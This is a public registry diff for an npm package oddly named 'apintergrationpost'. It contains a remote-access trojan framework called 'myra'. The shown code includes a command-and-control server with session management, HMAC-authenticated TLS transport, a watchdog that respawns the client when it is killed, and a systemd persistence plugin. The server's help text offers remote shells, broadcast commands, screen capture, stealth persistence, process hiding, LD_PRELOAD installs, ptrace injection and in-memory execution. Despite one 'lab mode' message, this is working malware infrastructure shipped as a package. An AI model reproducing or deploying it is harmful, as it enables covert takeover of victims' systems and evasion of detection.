apintergrationpost 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/README.md +203 -0
  2. package/apintergrationpost.config.json +101 -0
  3. package/bin/apintergrationpost-install.js +232 -0
  4. package/bin/apintergrationpost.js +50 -0
  5. package/bin/lib/paths.js +19 -0
  6. package/native/lab-tools/Makefile +45 -0
  7. package/native/lab-tools/agent_launcher.c +96 -0
  8. package/native/lab-tools/injector.c +80 -0
  9. package/native/lab-tools/libcache.c +80 -0
  10. package/native/lab-tools/memfd_exec.c +123 -0
  11. package/native/lab-tools/memfd_loader.c +224 -0
  12. package/native/lab-tools/proc_hide.c +64 -0
  13. package/package.json +45 -0
  14. package/scripts/postinstall-run.js +97 -0
  15. package/scripts/prepare-native.js +25 -0
  16. package/src/client/commands/filesystem.js +47 -0
  17. package/src/client/commands/index.js +26 -0
  18. package/src/client/commands/screen-capture.js +74 -0
  19. package/src/client/commands/shell.js +61 -0
  20. package/src/client/commands/system.js +266 -0
  21. package/src/client/connection.js +66 -0
  22. package/src/client/index.js +193 -0
  23. package/src/client/plugins/base.js +17 -0
  24. package/src/client/plugins/evasion-memfd.js +226 -0
  25. package/src/client/plugins/evasion-process.js +158 -0
  26. package/src/client/plugins/file-search.js +66 -0
  27. package/src/client/plugins/filesystem.js +62 -0
  28. package/src/client/plugins/network-enum.js +43 -0
  29. package/src/client/plugins/persistence-advanced.js +9 -0
  30. package/src/client/plugins/persistence-stealth.js +82 -0
  31. package/src/client/plugins/process-list.js +49 -0
  32. package/src/client/plugins/registry.js +118 -0
  33. package/src/client/plugins/screen-live.js +124 -0
  34. package/src/client/plugins/shell-oneshot.js +25 -0
  35. package/src/client/plugins/shell-pty.js +132 -0
  36. package/src/client/plugins/sysinfo.js +45 -0
  37. package/src/client/plugins/system.js +26 -0
  38. package/src/client/watchdog.js +29 -0
  39. package/src/protocol/auth.js +121 -0
  40. package/src/protocol/framer.js +57 -0
  41. package/src/protocol/messages.js +81 -0
  42. package/src/protocol/tls.js +74 -0
  43. package/src/server/cli.js +98 -0
  44. package/src/server/index.js +183 -0
  45. package/src/server/installServer.js +159 -0
  46. package/src/server/screenViewer.js +103 -0
  47. package/src/server/session.js +342 -0
  48. package/src/server/sessionManager.js +229 -0
  49. package/src/shared/c2schedule.js +100 -0
  50. package/src/shared/config.js +277 -0
  51. package/src/shared/emulation.js +86 -0
  52. package/src/shared/logger.js +125 -0
  53. package/src/shared/memfdLaunch.js +135 -0
  54. package/src/shared/nativeTools.js +73 -0
  55. package/src/shared/procinfo.js +116 -0
@@ -0,0 +1,26 @@
1
+ 'use strict';
2
+
3
+ const { persist, getServiceStatus } = require('../commands/system');
4
+
5
+ const name = 'system';
6
+ const commands = ['persist', 'status'];
7
+
8
+ async function execute(msg, ctx) {
9
+ ctx.labEvent({
10
+ plugin: name,
11
+ command: msg.command,
12
+ expectedAuditd: msg.command === 'persist' ? ['execve', 'systemctl'] : ['execve'],
13
+ });
14
+
15
+ if (msg.command === 'persist') {
16
+ return { action: 'continue', status: 'ok', body: persist() };
17
+ }
18
+
19
+ if (msg.command === 'status') {
20
+ return { action: 'continue', status: 'ok', body: getServiceStatus() };
21
+ }
22
+
23
+ return { action: 'continue', status: 'error', body: 'Unknown system command' };
24
+ }
25
+
26
+ module.exports = { name, commands, execute };
@@ -0,0 +1,29 @@
1
+ 'use strict';
2
+
3
+ const { spawn } = require('child_process');
4
+ const path = require('path');
5
+
6
+ const parentPid = Number(process.argv[2]);
7
+ if (!parentPid || process.env.MYRA_WATCHDOG !== '1') {
8
+ process.exit(1);
9
+ }
10
+
11
+ const scriptPath = path.resolve(__dirname, 'index.js');
12
+ const execPath = process.execPath;
13
+
14
+ function respawn() {
15
+ spawn(execPath, [scriptPath], {
16
+ detached: true,
17
+ stdio: 'ignore',
18
+ env: process.env,
19
+ }).unref();
20
+ }
21
+
22
+ setInterval(() => {
23
+ try {
24
+ process.kill(parentPid, 0);
25
+ } catch {
26
+ respawn();
27
+ process.exit(0);
28
+ }
29
+ }, 5000);
@@ -0,0 +1,121 @@
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+ const { writeMessage } = require('./framer');
5
+ const { MSG_TYPES, authMsg, authOkMsg, authFailMsg } = require('./messages');
6
+
7
+ const AUTH_WINDOW_MS = 30000;
8
+ const AUTH_TIMEOUT_MS = 5000;
9
+ const HEADER_SIZE = 4;
10
+
11
+ function computeHmac(token, timestamp, nonce) {
12
+ return crypto.createHmac('sha256', token)
13
+ .update(`${timestamp}:${nonce}`)
14
+ .digest('hex');
15
+ }
16
+
17
+ function readOneMessage(socket, timeoutMs) {
18
+ return new Promise((resolve, reject) => {
19
+ let buffer = Buffer.alloc(0);
20
+ const timer = setTimeout(() => {
21
+ cleanup();
22
+ reject(new Error('Timed out waiting for message'));
23
+ }, timeoutMs);
24
+
25
+ function onData(chunk) {
26
+ buffer = Buffer.concat([buffer, chunk]);
27
+ if (buffer.length >= HEADER_SIZE) {
28
+ const payloadLen = buffer.readUInt32BE(0);
29
+ const totalLen = HEADER_SIZE + payloadLen;
30
+ if (buffer.length >= totalLen) {
31
+ cleanup();
32
+ const payload = buffer.subarray(HEADER_SIZE, totalLen);
33
+ const leftover = buffer.subarray(totalLen);
34
+ try {
35
+ const msg = JSON.parse(payload.toString('utf8'));
36
+ resolve({ msg, leftover });
37
+ } catch (err) {
38
+ reject(new Error(`Malformed auth message: ${err.message}`));
39
+ }
40
+ }
41
+ }
42
+ }
43
+
44
+ function onError(err) {
45
+ cleanup();
46
+ reject(err);
47
+ }
48
+
49
+ function cleanup() {
50
+ clearTimeout(timer);
51
+ socket.removeListener('data', onData);
52
+ socket.removeListener('error', onError);
53
+ }
54
+
55
+ socket.on('data', onData);
56
+ socket.on('error', onError);
57
+ });
58
+ }
59
+
60
+ async function authenticateClient(socket, token, logger) {
61
+ const { msg, leftover } = await readOneMessage(socket, AUTH_TIMEOUT_MS);
62
+
63
+ if (msg.type !== MSG_TYPES.AUTH) {
64
+ writeMessage(socket, authFailMsg('expected auth message'));
65
+ socket.destroy();
66
+ throw new Error('Expected auth message, got: ' + msg.type);
67
+ }
68
+
69
+ const now = Date.now();
70
+ const drift = Math.abs(now - msg.timestamp);
71
+ if (drift > AUTH_WINDOW_MS) {
72
+ logger.warn('Auth rejected: timestamp outside window', { drift });
73
+ writeMessage(socket, authFailMsg('timestamp out of range'));
74
+ socket.destroy();
75
+ throw new Error('Auth timestamp out of range');
76
+ }
77
+
78
+ const expected = computeHmac(token, msg.timestamp, msg.nonce);
79
+ if (expected.length !== msg.hmac.length ||
80
+ !crypto.timingSafeEqual(Buffer.from(expected), Buffer.from(msg.hmac))) {
81
+ logger.warn('Auth rejected: invalid HMAC');
82
+ writeMessage(socket, authFailMsg('invalid credentials'));
83
+ socket.destroy();
84
+ throw new Error('Invalid HMAC');
85
+ }
86
+
87
+ logger.info('Client authenticated');
88
+ writeMessage(socket, authOkMsg());
89
+
90
+ if (leftover && leftover.length > 0) {
91
+ socket.unshift(leftover);
92
+ }
93
+ }
94
+
95
+ async function performAuth(socket, token, logger) {
96
+ const timestamp = Date.now();
97
+ const nonce = crypto.randomBytes(16).toString('hex');
98
+ const hmac = computeHmac(token, timestamp, nonce);
99
+
100
+ writeMessage(socket, authMsg(hmac, timestamp, nonce));
101
+
102
+ const { msg, leftover } = await readOneMessage(socket, AUTH_TIMEOUT_MS);
103
+
104
+ if (msg.type === MSG_TYPES.AUTH_OK) {
105
+ logger.info('Authenticated with server');
106
+ if (leftover && leftover.length > 0) {
107
+ socket.unshift(leftover);
108
+ }
109
+ return;
110
+ }
111
+
112
+ if (msg.type === MSG_TYPES.AUTH_FAIL) {
113
+ socket.destroy();
114
+ throw new Error('Authentication failed: ' + (msg.reason || 'unknown'));
115
+ }
116
+
117
+ socket.destroy();
118
+ throw new Error('Unexpected message during auth: ' + msg.type);
119
+ }
120
+
121
+ module.exports = { computeHmac, authenticateClient, performAuth, AUTH_WINDOW_MS };
@@ -0,0 +1,57 @@
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+
5
+ const HEADER_SIZE = 4;
6
+ const MAX_MESSAGE_SIZE = 64 * 1024 * 1024;
7
+
8
+ function writeMessage(socket, obj, options = {}) {
9
+ const payload = { ...obj };
10
+ const padMax = options.paddingMaxBytes || 0;
11
+ if (padMax > 0 && payload.type !== 'auth' && payload.type !== 'auth_ok' && payload.type !== 'auth_fail') {
12
+ const padLen = Math.floor(Math.random() * (padMax + 1));
13
+ if (padLen > 0) {
14
+ payload._pad = crypto.randomBytes(padLen).toString('base64');
15
+ }
16
+ }
17
+
18
+ const json = JSON.stringify(payload);
19
+ const body = Buffer.from(json, 'utf8');
20
+ const header = Buffer.alloc(HEADER_SIZE);
21
+ header.writeUInt32BE(body.length, 0);
22
+ socket.write(Buffer.concat([header, body]));
23
+ }
24
+
25
+ function createMessageReader(socket, onMessage) {
26
+ let buffer = Buffer.alloc(0);
27
+
28
+ function processBuffer() {
29
+ while (buffer.length >= HEADER_SIZE) {
30
+ const payloadLen = buffer.readUInt32BE(0);
31
+ if (payloadLen > MAX_MESSAGE_SIZE) {
32
+ socket.destroy(new Error(`message too large: ${payloadLen} bytes`));
33
+ return;
34
+ }
35
+ const totalLen = HEADER_SIZE + payloadLen;
36
+ if (buffer.length < totalLen) break;
37
+
38
+ const payload = buffer.subarray(HEADER_SIZE, totalLen);
39
+ buffer = buffer.subarray(totalLen);
40
+
41
+ try {
42
+ const msg = JSON.parse(payload.toString('utf8'));
43
+ onMessage(msg);
44
+ } catch (err) {
45
+ socket.destroy(new Error(`malformed message: ${err.message}`));
46
+ return;
47
+ }
48
+ }
49
+ }
50
+
51
+ socket.on('data', (chunk) => {
52
+ buffer = Buffer.concat([buffer, chunk]);
53
+ processBuffer();
54
+ });
55
+ }
56
+
57
+ module.exports = { writeMessage, createMessageReader, HEADER_SIZE };
@@ -0,0 +1,81 @@
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+
5
+ const MSG_TYPES = {
6
+ COMMAND: 'command',
7
+ RESPONSE: 'response',
8
+ FILE_TRANSFER: 'file_transfer',
9
+ HEARTBEAT: 'heartbeat',
10
+ AUTH: 'auth',
11
+ AUTH_OK: 'auth_ok',
12
+ AUTH_FAIL: 'auth_fail',
13
+ DISCONNECT: 'disconnect',
14
+ SHELL_OUTPUT: 'shell_output',
15
+ SCREEN_FRAME: 'screen_frame',
16
+ };
17
+
18
+ function makeId() {
19
+ return crypto.randomUUID();
20
+ }
21
+
22
+ function commandMsg(command, body, meta) {
23
+ return { type: MSG_TYPES.COMMAND, id: makeId(), command, body: body || '', meta: meta || {} };
24
+ }
25
+
26
+ function responseMsg(id, status, body, meta) {
27
+ return { type: MSG_TYPES.RESPONSE, id, status, body: body || '', meta: meta || {} };
28
+ }
29
+
30
+ function heartbeatMsg() {
31
+ return { type: MSG_TYPES.HEARTBEAT, id: makeId(), ts: Date.now() };
32
+ }
33
+
34
+ function authMsg(hmac, timestamp, nonce) {
35
+ return { type: MSG_TYPES.AUTH, id: makeId(), hmac, timestamp, nonce };
36
+ }
37
+
38
+ function authOkMsg() {
39
+ return { type: MSG_TYPES.AUTH_OK, id: makeId() };
40
+ }
41
+
42
+ function authFailMsg(reason) {
43
+ return { type: MSG_TYPES.AUTH_FAIL, id: makeId(), reason: reason || 'authentication failed' };
44
+ }
45
+
46
+ function disconnectMsg(reason) {
47
+ return { type: MSG_TYPES.DISCONNECT, id: makeId(), reason: reason || '' };
48
+ }
49
+
50
+ function shellOutputMsg(sessionId, body, meta) {
51
+ return {
52
+ type: MSG_TYPES.SHELL_OUTPUT,
53
+ id: makeId(),
54
+ sessionId,
55
+ body: body || '',
56
+ meta: meta || {},
57
+ };
58
+ }
59
+
60
+ function screenFrameMsg(sessionId, body, meta) {
61
+ return {
62
+ type: MSG_TYPES.SCREEN_FRAME,
63
+ id: makeId(),
64
+ sessionId,
65
+ body: body || '',
66
+ meta: meta || {},
67
+ };
68
+ }
69
+
70
+ module.exports = {
71
+ MSG_TYPES,
72
+ commandMsg,
73
+ responseMsg,
74
+ heartbeatMsg,
75
+ authMsg,
76
+ authOkMsg,
77
+ authFailMsg,
78
+ disconnectMsg,
79
+ shellOutputMsg,
80
+ screenFrameMsg,
81
+ };
@@ -0,0 +1,74 @@
1
+ 'use strict';
2
+
3
+ const tls = require('tls');
4
+ const net = require('net');
5
+ const fs = require('fs');
6
+ const path = require('path');
7
+
8
+ function isTlsEnabled(config) {
9
+ const tlsConf = config.tls || {};
10
+ if (tlsConf.enabled === false) return false;
11
+ if (tlsConf.enabled === true) {
12
+ return !!(tlsConf.cert && tlsConf.key);
13
+ }
14
+ // Legacy: TLS on when cert+key paths exist and load successfully
15
+ return !!loadTlsOptions(config, true);
16
+ }
17
+
18
+ function loadTlsOptions(config, isServer) {
19
+ const tlsConf = config.tls || {};
20
+ if (tlsConf.enabled === false) return null;
21
+ if (!tlsConf.cert || !tlsConf.key) return null;
22
+
23
+ try {
24
+ const basePath = config._configDir || process.cwd();
25
+ const resolve = (p) => path.isAbsolute(p) ? p : path.resolve(basePath, p);
26
+
27
+ const opts = {};
28
+ if (isServer) {
29
+ opts.cert = fs.readFileSync(resolve(tlsConf.cert));
30
+ opts.key = fs.readFileSync(resolve(tlsConf.key));
31
+ if (tlsConf.mutual && tlsConf.ca) {
32
+ opts.ca = fs.readFileSync(resolve(tlsConf.ca));
33
+ opts.requestCert = true;
34
+ opts.rejectUnauthorized = true;
35
+ }
36
+ } else {
37
+ if (tlsConf.ca) {
38
+ opts.ca = fs.readFileSync(resolve(tlsConf.ca));
39
+ }
40
+ opts.rejectUnauthorized = !!tlsConf.ca;
41
+ }
42
+ return opts;
43
+ } catch {
44
+ return null;
45
+ }
46
+ }
47
+
48
+ function createServer(config, connectionHandler) {
49
+ const tlsOpts = loadTlsOptions(config, true);
50
+ if (tlsOpts) {
51
+ return tls.createServer(tlsOpts, connectionHandler);
52
+ }
53
+ return net.createServer(connectionHandler);
54
+ }
55
+
56
+ function connectToHost(host, port, config) {
57
+ return new Promise((resolve, reject) => {
58
+ const tlsOpts = loadTlsOptions(config, false);
59
+
60
+ if (tlsOpts) {
61
+ const socket = tls.connect({ host, port, ...tlsOpts }, () => {
62
+ resolve(socket);
63
+ });
64
+ socket.on('error', reject);
65
+ } else {
66
+ const socket = net.createConnection({ host, port }, () => {
67
+ resolve(socket);
68
+ });
69
+ socket.on('error', reject);
70
+ }
71
+ });
72
+ }
73
+
74
+ module.exports = { isTlsEnabled, loadTlsOptions, createServer, connectToHost };
@@ -0,0 +1,98 @@
1
+ 'use strict';
2
+
3
+ const readline = require('readline');
4
+
5
+ const COMMANDS = [
6
+ 'sessions', 'use', 'background', 'broadcast', 'help', 'status',
7
+ 'shell', 'sysinfo', 'ps', 'netstat', 'find',
8
+ 'screen', 'vnc', 'screen_stop', 'screen_status',
9
+ 'download', 'upload', 'cd', 'persist',
10
+ 'persist_install', 'persist_remove', 'persist_status',
11
+ 'hide_start', 'hide_stop', 'preload_install', 'preload_remove',
12
+ 'inject', 'inject_spawn', 'memfd_exec', 'memfd_status', 'memfd_deploy', 'memfd_verify',
13
+ 'kill', 'q', 'quit',
14
+ ];
15
+
16
+ function createCli(sessionManager) {
17
+ const rl = readline.createInterface({
18
+ input: process.stdin,
19
+ output: process.stdout,
20
+ completer: (line) => {
21
+ const hits = COMMANDS.filter((c) => c.startsWith(line.toLowerCase()));
22
+ return [hits.length ? hits : COMMANDS, line];
23
+ },
24
+ });
25
+
26
+ function getPrompt() {
27
+ const active = sessionManager ? sessionManager.active : null;
28
+ if (active) {
29
+ return `myra [${active.id}] $ `;
30
+ }
31
+ return 'myra $ ';
32
+ }
33
+
34
+ function prompt() {
35
+ return new Promise((resolve) => {
36
+ rl.question(getPrompt(), resolve);
37
+ });
38
+ }
39
+
40
+ function close() {
41
+ rl.close();
42
+ }
43
+
44
+ return { prompt, close, rl };
45
+ }
46
+
47
+ function printHelp() {
48
+ console.log(`
49
+ Available commands:
50
+ sessions List all connected clients
51
+ use <id> Switch to a client session
52
+ background Deselect the active session
53
+ broadcast <cmd> Send a shell command to all clients
54
+ help Show this help message
55
+
56
+ Session commands (requires active session):
57
+ shell Interactive PTY shell
58
+ <shell_command> One-shot shell execution
59
+ sysinfo / ps / netstat / find
60
+ screen / vnc Live screen in browser (Press Enter to stop)
61
+ screen_stop Stop live screen stream
62
+ cd / download / upload
63
+ persist Baseline persistence (legacy systemd)
64
+ persist_install Stealth multi-vector persistence
65
+ persist_status Persistence artifact status
66
+ persist_remove Remove stealth persistence artifacts
67
+ hide_start Process masquerade + launcher
68
+ hide_stop Stop hide session
69
+ preload_install Install LD_PRELOAD libcache.so
70
+ preload_remove Remove preload artifacts
71
+ inject [pid] ptrace inject stub (spawn target if no pid)
72
+ inject_spawn Inject into spawned sleep process
73
+ memfd_exec <path> memfd execution
74
+ memfd_deploy Full memfd agent deploy (Node ELF + bundle)
75
+ memfd_verify [pid] Verify memfd process signals
76
+ memfd_status [pid] memfd child status
77
+ status Service status
78
+ kill Shut down client
79
+ q / quit Exit server
80
+ `);
81
+ }
82
+
83
+ function formatSessionsTable(sessions) {
84
+ if (sessions.length === 0) {
85
+ return 'No active sessions.';
86
+ }
87
+ const lines = [' ID Address Uptime Heartbeat Active'];
88
+ lines.push(' -------- --------------------- -------- ------------ ------');
89
+ for (const s of sessions) {
90
+ const active = s.active ? ' *' : '';
91
+ lines.push(
92
+ ` ${s.id.padEnd(8)} ${s.address.padEnd(21)} ${s.uptime.padEnd(8)} ${s.lastHeartbeat.padEnd(12)} ${active}`
93
+ );
94
+ }
95
+ return lines.join('\n');
96
+ }
97
+
98
+ module.exports = { createCli, printHelp, formatSessionsTable };
@@ -0,0 +1,183 @@
1
+ 'use strict';
2
+
3
+ const { loadConfig, validateLabConfig } = require('../shared/config');
4
+ const { createLogger } = require('../shared/logger');
5
+ const { createServer, isTlsEnabled } = require('../protocol/tls');
6
+ const { authenticateClient } = require('../protocol/auth');
7
+ const { Session, SessionManager } = require('./sessionManager');
8
+ const { createCli, printHelp, formatSessionsTable } = require('./cli');
9
+ const { handleSessionCommand } = require('./session');
10
+ const { startInstallServer } = require('./installServer');
11
+
12
+ function main() {
13
+ const config = loadConfig();
14
+ const labError = validateLabConfig(config);
15
+ if (labError) {
16
+ console.error(`[MYRA] ${labError}`);
17
+ process.exit(1);
18
+ }
19
+
20
+ const logger = createLogger(config);
21
+ const token = (config.auth && config.auth.token) || '';
22
+
23
+ const manager = new SessionManager(logger);
24
+ const cli = createCli(manager);
25
+
26
+ const server = createServer(config, (socket) => {
27
+ const { remoteAddress, remotePort } = socket;
28
+ logger.info(`Received connection from ${remoteAddress}:${remotePort}`);
29
+ console.log(`\n[*] Received connection from ${remoteAddress}:${remotePort}`);
30
+
31
+ (async () => {
32
+ if (token) {
33
+ try {
34
+ await authenticateClient(socket, token, logger);
35
+ console.log(`[*] Client ${remoteAddress}:${remotePort} authenticated.`);
36
+ } catch (err) {
37
+ logger.warn(`Authentication failed from ${remoteAddress}: ${err.message}`);
38
+ console.log(`[*] Authentication failed from ${remoteAddress}:${remotePort}`);
39
+ socket.destroy();
40
+ return;
41
+ }
42
+ }
43
+
44
+ const session = new Session(socket, logger, config);
45
+ session.authenticated = true;
46
+ manager.add(session);
47
+ console.log(`[*] Session ${session.id} registered. Use 'sessions' to list, 'use ${session.id}' to interact.`);
48
+ })().catch((err) => {
49
+ logger.error('Connection setup error', { error: err.message });
50
+ socket.destroy();
51
+ });
52
+ });
53
+
54
+ const proto = isTlsEnabled(config) ? 'TLS' : 'TCP (token auth)';
55
+ server.listen(config.port, config.host, () => {
56
+ logger.info(`Server listening on ${config.host}:${config.port} (${proto})`);
57
+ console.log(`[*] Server started on ${config.host}:${config.port} (${proto}). Listening for connections...`);
58
+ if (!isTlsEnabled(config)) {
59
+ console.log('[*] TLS disabled — clients authenticate with auth.token only.');
60
+ }
61
+ if (!token) {
62
+ console.log('[!] Warning: No auth token configured. Set auth.token in myra.config.json.');
63
+ }
64
+ if (config.lab && config.lab.mode) {
65
+ console.log('[MYRA LAB] Research mode enabled. Use only in isolated VMs.');
66
+ }
67
+ startInstallServer(config, logger);
68
+ runCommandLoop(manager, cli, logger, config);
69
+ });
70
+ }
71
+
72
+ async function runCommandLoop(manager, cli, logger, config) {
73
+ while (true) {
74
+ let inp;
75
+ try {
76
+ inp = (await cli.prompt()).trim();
77
+ } catch {
78
+ break;
79
+ }
80
+ if (!inp) continue;
81
+
82
+ const lower = inp.toLowerCase();
83
+ const parts = inp.split(/\s+/);
84
+
85
+ if (lower === 'help') {
86
+ printHelp();
87
+ continue;
88
+ }
89
+
90
+ if (lower === 'sessions') {
91
+ const list = manager.list();
92
+ console.log(formatSessionsTable(list));
93
+ continue;
94
+ }
95
+
96
+ if (parts[0].toLowerCase() === 'use' && parts[1]) {
97
+ const target = parts[1];
98
+ const session = manager.get(target);
99
+ if (!session) {
100
+ console.log(`[!] No session with ID '${target}'. Use 'sessions' to list.`);
101
+ } else {
102
+ manager.activeId = target;
103
+ console.log(`[*] Switched to session ${session.label}`);
104
+ }
105
+ continue;
106
+ }
107
+
108
+ if (lower === 'background') {
109
+ manager.activeId = null;
110
+ console.log('[*] Active session deselected.');
111
+ continue;
112
+ }
113
+
114
+ if (parts[0].toLowerCase() === 'broadcast' && parts.length > 1) {
115
+ const cmd = parts.slice(1).join(' ');
116
+ console.log(`[*] Broadcasting '${cmd}' to ${manager.size} client(s)...`);
117
+ const results = await manager.broadcast('shell', cmd);
118
+ for (const r of results) {
119
+ console.log(`\n--- Session ${r.id} (${r.status}) ---`);
120
+ console.log(r.body);
121
+ }
122
+ console.log(`\n[*] Broadcast complete.`);
123
+ continue;
124
+ }
125
+
126
+ if (lower === 'q' || lower === 'quit') {
127
+ console.log('[*] Disconnecting all clients and shutting down...');
128
+ manager.disconnectAll('server shutdown');
129
+ cli.close();
130
+ logger.info('Server shutdown by operator');
131
+ process.exit(0);
132
+ }
133
+
134
+ const active = manager.active;
135
+ if (!active) {
136
+ console.log('[!] No active session. Use \'sessions\' to list and \'use <id>\' to select one.');
137
+ continue;
138
+ }
139
+
140
+ if (!active.alive) {
141
+ console.log(`[!] Session ${active.id} is no longer connected.`);
142
+ continue;
143
+ }
144
+
145
+ try {
146
+ const startTime = Date.now();
147
+ const result = await handleSessionCommand(active, inp, logger);
148
+ const elapsed = Date.now() - startTime;
149
+
150
+ logger.audit({
151
+ sessionId: active.id,
152
+ clientIp: active.remoteAddress,
153
+ command: inp,
154
+ elapsed,
155
+ status: result === 'quit' ? 'quit' : 'ok',
156
+ });
157
+
158
+ if (result === 'quit') {
159
+ console.log('[*] Disconnecting all clients and shutting down...');
160
+ manager.disconnectAll('server shutdown');
161
+ cli.close();
162
+ logger.info('Server shutdown by operator');
163
+ process.exit(0);
164
+ }
165
+ } catch (err) {
166
+ logger.audit({
167
+ sessionId: active.id,
168
+ clientIp: active.remoteAddress,
169
+ command: inp,
170
+ status: 'error',
171
+ error: err.message,
172
+ });
173
+
174
+ if (err.code === 'ECONNRESET' || err.code === 'EPIPE' || err.message === 'Command timed out' || err.message === 'Session is closed') {
175
+ console.log(`\n[*] Session ${active.id}: ${err.message}. Use 'sessions' to check status.`);
176
+ } else {
177
+ console.log(`[!] Error: ${err.message}`);
178
+ }
179
+ }
180
+ }
181
+ }
182
+
183
+ main();